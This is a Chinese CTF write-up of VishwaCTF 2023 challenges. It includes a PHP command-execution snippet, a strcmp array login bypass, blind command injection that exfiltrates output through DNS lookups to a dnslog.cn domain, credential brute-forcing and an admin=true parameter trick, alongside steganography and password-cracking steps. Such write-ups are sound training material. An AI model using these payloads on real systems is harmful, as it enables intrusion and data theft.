【VishwaCTF2023】wp

本文最后更新于:2023年6月5日 下午

【VishwaCTF2023】wp

web

Payload

目录扫描,扫描到了robots.txt

image-20230404151550711

我们访问/robots.txt

1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
else {
if(isset($_GET['btn'])){
echo "<b>System Details: </b>";
system("uname -a");
}
}
?>

uname(英文全拼:unix name)命令用于显示操作系统信息,例如内核版本、主机名、处理器类型等。。

uname 可显示电脑以及操作系统的相关信息。-a表示所有

很明显,这是命令执行,我们直接传参即可:

image-20230404151920194

发现flag藏在环境变量中

Mascot

扫描一下目录,发现git泄露:

image-20230404152202468

但是我们使用GitHack下载不下来,但是里面有一个 FLAGGGGG.md

image-20230404152658487

下载得到flag

Eeezzy

I forgot my login details again!

view.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

session_start();
$_SESSION['status']=null;

$flag="";
try {
if (isset($_GET['username']) && isset($_GET['password'])) {
if (strcmp($_GET['username'], $flag)==0 && strcmp($_GET['password'], $flag)==0)
$_SESSION['status']=$flag;
else
$_SESSION['status']="Invalid username or password";
}
} catch (Throwable $th) {
$_SESSION['status']=$flag;
}

?>

strcmp()函数可以使用数组绕过,

strcmp比较的是字符串类型,如果强行传入其他类型参数,会出错,出错后返回值0,正是利用这点进行绕过。

这里我们只能让password为数组:

image-20230404154539089

aLive

In my college level project I created this website that tells us if any domain/ip is active or not. But there is a catch.

image-20230404161910385

打开发现一个可以检测站点的输入框,检测只会提示是否active,并没有回显

看了wp,我知道了需要使用DNSlog平台,之前了解过,但是没有使用过DNSlog

什么是DNSlog?

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起 DNS 请求,这个时候就可以通过这种方式把想获得的数据外带出来。

DNS 的全称是 Domain Name System(网络名称系统),它作为将域名和 IP 地址相互映射,使人更方便地访问互联网。当用户输入某一网址如 www.baidu.com,网络上的 DNS Server 会将该域名解析,并找到对应的真实 IP 如 127.0.0.1,使用户可以访问这台服务器上相应的服务。

了解到了什么是 DNS,那么什么又是 DNSlog 呢?

DNSlog 就是存储在 DNS Server 上的域名信息,它记录着用户对域名 www.baidu.com 等的访问信息,类似日志文件

我们使用DNSlog平台,生成一个DNS服务器:

image-20230404162337417

然后我们使用输入框输入该域名,记得加上三级域名:

1
123.r736ym.dnslog.cn
image-20230404162601657

成功外带,回显数据。

测试了一下,发现是RCE,于是我们如下构造:

1
`whoami`.r736ym.dnslog.cn

成功命令执行,说明是root用户

image-20230404162819440
1
`sort f*`.r736ym.dnslog.cn
image-20230404162930890

获得flag

spooky

I forgot my login credentials again!!

一个登录界面,sql注入无果,使用dirsearch扫描:

image-20230404184137206

访问/sitemap.xml

image-20230404184245867

发现存放用户名和密码的文件,我们使用bp爆破一下:

image-20230404184326412

注意攻击模式要选择这种(能够计算笛卡尔积)保证所有情况

image-20230404184414191

使用账号密码登录

image-20230404184600637

提示权限为user,可能需要改为admin

image-20230404184640710

加上 &admin=true

Steganography

Can you see me?

A magician made the seven wonders disappear. But people claim they can still feel their presence in the air.

将图片使用foremost分离,得到一个压缩包,里面有一个wav文件,我们使用Audacity打开:

image-20230404180624552

选择频谱图,得到flag

Guatemala

使用010打开文件,发现是GIF图片

image-20230404181143781

发现一串base64编码:

image-20230404181545407

或者使用exiftool

image-20230404181922920

解码得到flag:

image-20230404181643275

I LOVE YOU

There is an audio file given below… It is not so difficult but you will find it’s sound very deep

根据提示,我们使用 DeepSound 去分离隐写在wav中的文件:

image-20230404193252238

得到welcome.exe,看图标,很想使用python打包的exe文件,

我们使用工具pyinstxtractor进行反汇编:

image-20230404193422962

然后使用pyc反编译网站进行反编译,得到flag

image-20230404193515571

Forensics

The Sender Conundrum

Marcus Got a Mysterious mail promising a flag if he could crack the password to the file.

打开电子邮件,叫我们猜一个人名

1
2
3
4
5
6
7
Hello Marcus Cooper,
You are one step behind from finding your flag.
Here is a Riddle:
I am a noun and not a verb or an adverb.
I am given to you at birth and never taken away,
You keep me until you die, come what may.
What am I?

我们使用字典进行爆破,但是都没有,最后使用了kali自带的词典:rockyou.txt,爆到了

image-20230404215130384

解压得flag


【VishwaCTF2023】wp
https://leekosss.github.io/2023/08/24/[VishwaCTF2023]wp/
作者
leekos
发布于
2023年8月24日
更新于
2023年6月5日
许可协议